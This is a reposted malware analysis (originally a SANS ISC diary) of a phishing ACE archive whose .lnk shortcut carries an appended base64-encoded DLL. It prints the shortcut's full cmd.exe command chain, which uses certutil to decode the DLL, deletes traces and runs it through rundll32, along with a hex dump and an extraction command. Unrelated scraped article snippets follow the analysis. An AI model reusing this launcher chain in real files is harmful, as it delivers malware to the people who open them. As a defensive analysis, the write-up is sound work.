分析一个嵌入payload的恶意.lnk文件

原文:https://isc.sans.edu/diary/Analyzis+of+a+Malicious+.lnk+File+with+an+Embedded+Payload/20763

We received some feedback today from Nick, a SANS ISC reader who detected an interesting phishing campaign based on an ACE file. I also detected the same kind of file earlier this morning. ACE is an old compression algorithm developed by a German company called e-merge. This file format was popular around the year 2000. Today it almost disappeared and was replaced by more popular formats but ACE files can still be handled by popular tools like WinRAR or WinZIP. The fact that the format is quite old could help to bypass common low-level filters implemented by anti-spam solutions.

The phishing email was a classic one with an attached .RAR file named “faktura.rar". But the file is in fact an ACE file:

# file faktura.rar
faktura.rar: ACE archive data version 20, from Win/32, version 20 to extract, contains AV-String (unregistered), solid

It’s VT score is very low: 2/55 (c5e4e981269209f2b67fc24167fc7ce5)

The ACE file contains a .lnk file. Link files are shortcut files used by Microsoft Windows to point to another executable file. The file VT score is also very low: 3/55 (1e56acf7b536d8f87234b4f7846fe0c0). The link file is configured to start minimized in %currentdir%. It points to a command line prompt with arguments that are pretty evil (the output has been formatted for more visibility):

%windir%\system32\cmd.exe /V:ON /c dir %TEMP%\faktura.lnk /s /b >%TEMP%\bwTFO &&
set /p k=<%TEMP%\bwTFO &&
findstr TVqQAA !k!>%TEMP%\bwTFO &&
certutil -decode %TEMP%\bwTFO %TEMP%\bwTFO.dll &&
del %TEMP%\bwTFO !k! &&
rundll32 %TEMP%\bwTFO.dll,PHojcLeWFaI YEfM

A temporary file is created and filled with some malicious code and executed via rundll32. In this case, no macro to download data from a third party website.  The malicious code is simply appended to the link file and starts with the string ‘TVqQAA’:

00000740  a3 41 5d 34 0c e0 a5 4d  97 35 a3 e4 11 bd 29 00  |.A]4...M.5....).|
00000750  50 56 38 75 73 00 00 00  00 0d 0a 54 56 71 51 41  |PV8us......TVqQA|
00000760  41 4d 41 41 41 41 45 41  41 41 41 2f 2f 38 41 41  |AMAAAAEAAAA//8AA|
00000770  4c 67 41 41 41 41 41 41  41 41 41 51 41 41 41 41  |LgAAAAAAAAAQAAAA|
00000780  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
000007a0  41 41 41 41 41 41 41 41  41 41 41 75 41 41 41 41  |AAAAAAAAAAAuAAAA|
000007b0  41 34 66 75 67 34 41 74  41 6e 4e 49 62 67 42 54  |A4fug4AtAnNIbgBT|
000007c0  4d 30 68 56 47 68 70 63  79 42 77 63 6d 39 6e 63  |M0hVGhpcyBwcm9nc|
000007d0  6d 46 74 49 47 4e 68 62  6d 35 76 64 43 42 69 5a  |mFtIGNhbm5vdCBiZ|
000007e0  53 42 79 64 57 34 67 61  57 34 67 52 45 39 54 49  |SBydW4gaW4gRE9TI|
000007f0  47 31 76 5a 47 55 75 44  51 30 4b 4a 41 41 41 41  |G1vZGUuDQ0KJAAAA|
00000800  41 41 41 41 41 43 48 6f  38 76 62 77 38 4b 6c 69  |AAAAACHo8vbw8Kli|
00000810  4d 50 43 70 59 6a 44 77  71 57 49 50 2b 4b 33 69  |MPCpYjDwqWIP+K3i|
00000820  4d 4c 43 70 59 67 45 78  4b 4f 49 77 73 4b 6c 69  |MLCpYgExKOIwsKli|
00000830  45 33 64 74 6f 6a 43 77  71 57 49 55 6d 6c 6a 61  |E3dtojCwqWIUmlja|
00000840  4d 50 43 70 59 67 41 41  41 41 41 41 41 41 41 41  |MPCpYgAAAAAAAAAA|
00000850  46 42 46 41 41 42 4d 41  51 55 41 4b 53 54 4b 56  |FBFAABMAQUAKSTKV|
00000860  67 41 41 41 41 41 41 41  41 41 41 34 41 41 4f 49  |gAAAAAAAAAA4AAOI|
00000870  51 73 42 42 51 77 41 44  41 41 41 41 41 67 41 41  |QsBBQwADAAAAAgAA|
00000880  41 41 41 41 41 41 41 45  41 41 41 41 42 41 41 41  |AAAAAAAEAAAABAAA|
00000890  41 41 67 41 41 41 41 41  41 41 51 41 42 41 41 41  |AAgAAAAAAAQABAAA|
000008a0  41 41 43 41 41 41 45 41  41 41 41 41 41 41 41 41  |AACAAAEAAAAAAAAA|

You can see immediately that the code is BASE64 encoded and can be extracted quite easily:

# strings faktura.lnk | grep TVqQAA | base64 -d - >malicious.bin
# file malicious.bin
malicious.bin: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

The PE file has a VT score of 1/55 (a911640a5dd4bca99c31eeac18e90901). I‘ll have a look at this binary later because it was not reported as malicious by the FireEye appliance that analyzed it.

Xavier Mertens
ISC Handler - Freelance Security Consultant
PGP Key

时间: 2024-08-17 06:08:05

分析一个嵌入payload的恶意.lnk文件的相关文章

LNK文件(快捷方式)远程代码执行漏洞复现过程(CVE-2017-8464)

漏洞编号:CVE-2017-8464 漏洞等级:严重 漏洞概要:如果用户打开攻击者精心构造的恶意LNK文件,则会造成远程代码执行.成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限. 攻击者可以通过可移动驱动器(U盘)或远程共享等方式将包含恶意LNK文件和与之相关的恶意二进制文件传播给用户.当用户通过Windows资源管理器或任何能够解析LNK文件的程序打开恶意的LNK文件时,与之关联的恶意二进制代码将在目标系统上执行. 受影响版本 桌面系统:Windows 10, 7, 8.1, 8, V

zg手册 之 python2.7.7源码分析(4)-- pyc字节码文件

什么是字节码 python解释器在执行python脚本文件时,对文件中的python源代码进行编译,编译的结果就是byte code(字节码) python虚拟机执行编译好的字节码,完成程序的运行 python会为导入的模块创建字节码文件 字节码文件的创建过程 当a.py依赖b.py时,如在a.py中import b python先检查是否有b.pyc文件(字节码文件),如果有,并且修改时间比b.py晚,就直接调用b.pyc 否则编译b.py生成b.pyc,然后加载新生成的字节码文件 字节码对象

实验作业:使gdb跟踪分析一个系统调用内核函数

实验作业:使gdb跟踪分析一个系统调用内核函数(我使用的是getuid) 20135313吴子怡.北京电子科技学院 [第一部分] 根据视频演示的步骤,先做第一部分,步骤如下 ①更新menu代码到最新版 ②在代码中加入C函数.汇编函数 ③在main函数中加入makeconfig ④make rootfs ⑤可以看到qemu中增加了我们先前添加的命令: ⑥分别执行新增的命令 [第二部分]gdb跟踪分析一个系统调用内核函数 ①进入gdb调试 ②设置断点,继续执行: ③相对应的得到这样的结果: ④查看我

如何分析解读systemstat dump产生的trc文件

ORACLE数据库的systemstat dump生成trace文件虽然比较简单,但是怎么从trace文件中浩如烟海的信息中提炼有用信息,并作出分析诊断是一件技术活,下面收集.整理如何分析解读systemstat dump产生的trace文件. 如果要人工去解读systemstat dump生成的trace文件,真是一件体力活,因为这些trace文件动不动就几百M甚至更大,它产生的跟踪文件包含了系统中所有进程的进程状态等信息.每个进程对应跟踪文件中的一段内容,反映该进程的状态信息,包括进程信息,

一个lua5.3编译的nmake文件

lua官方的源码包里面的Makefile文件没有针对windows nmake工具的Makefile文件,但其官方给出的Makefile的书写很工整,很容易就模仿一个nmake版本的Makefile,文件我放到了这里. 把nmake版本的文件(Lua53.Makefile.nmake)放到lua源码的src目录,使用visual c++命令行切换到src目录,执行"nmake /f Makefile.nmake"命令就可以编译成功,使用"dumpbin /exports lu

【转】每天一个linux命令(24):Linux文件类型与扩展名

原文网址:http://www.cnblogs.com/peida/archive/2012/11/22/2781912.html Linux文件类型和Linux文件的文件名所代表的意义是两个不同的概念.我们通过一般应用程序而创建的比如file.txt.file.tar.gz ,这些文件虽然要用不同的程序来打开,但放在Linux文件类型中衡量的话,大多是常规文件(也被称为普通文件). 一. 文件类型 Linux文件类型常见的有:普通文件.目录文件.字符设备文件和块设备文件.符号链接文件等,现在我

云计算之路-阿里云上:Wireshark抓包分析一个耗时20秒的请求

这篇博文分享的是我们针对一个耗时20秒的请求,用Wireshark进行抓包分析的过程. 请求的流程是这样的:客户端浏览器 -> SLB(负载均衡) -> ECS(云服务器) -> SLB -> 客户端浏览器. 下面是分析的过程: 1. 启动Wireshark,针对内网网卡进行抓包. 2. 在IIS日志中找出要分析的请求(借助Log Parser Studio) 通过c-ip(Client IP Address)可以获知SLB的内网IP,在分析Wireshar抓包时需要依据这个IP进

建立一个漂亮的PHP验证码类文件及调用方式

//验证码类class ValidateCode { private $charset = 'abcdefghkmnprstuvwxyzABCDEFGHKMNPRSTUVWXYZ23456789';//随机因子 private $code;//验证码 private $codelen = 4;//验证码长度 private $width = 130;//宽度 private $height = 50;//高度 private $img;//图形资源句柄 private $font;//指定的字体

一个文件中有40亿个整数,每个整数为四个字节,内存为1GB,写出一个算法:求出这个文件里的整数里不包含的一个整数

4个字节表示的整数,总共只有2^32约等于4G个可能.为了简单起见,可以假设都是无符号整数.分配500MB内存,每一bit代表一个整数,刚好可以表示完4个字节的整数,初始值为0.基本思想每读入一个数,就把它对应的bit位置为1,处理完40G个数后,对500M的内存遍历,找出一个bit为0的位,输出对应的整数就是未出现的.算法流程:1)分配500MB内存buf,初始化为02)unsigned int x=0x1;  for each int j in file  buf=buf|x<<j;  e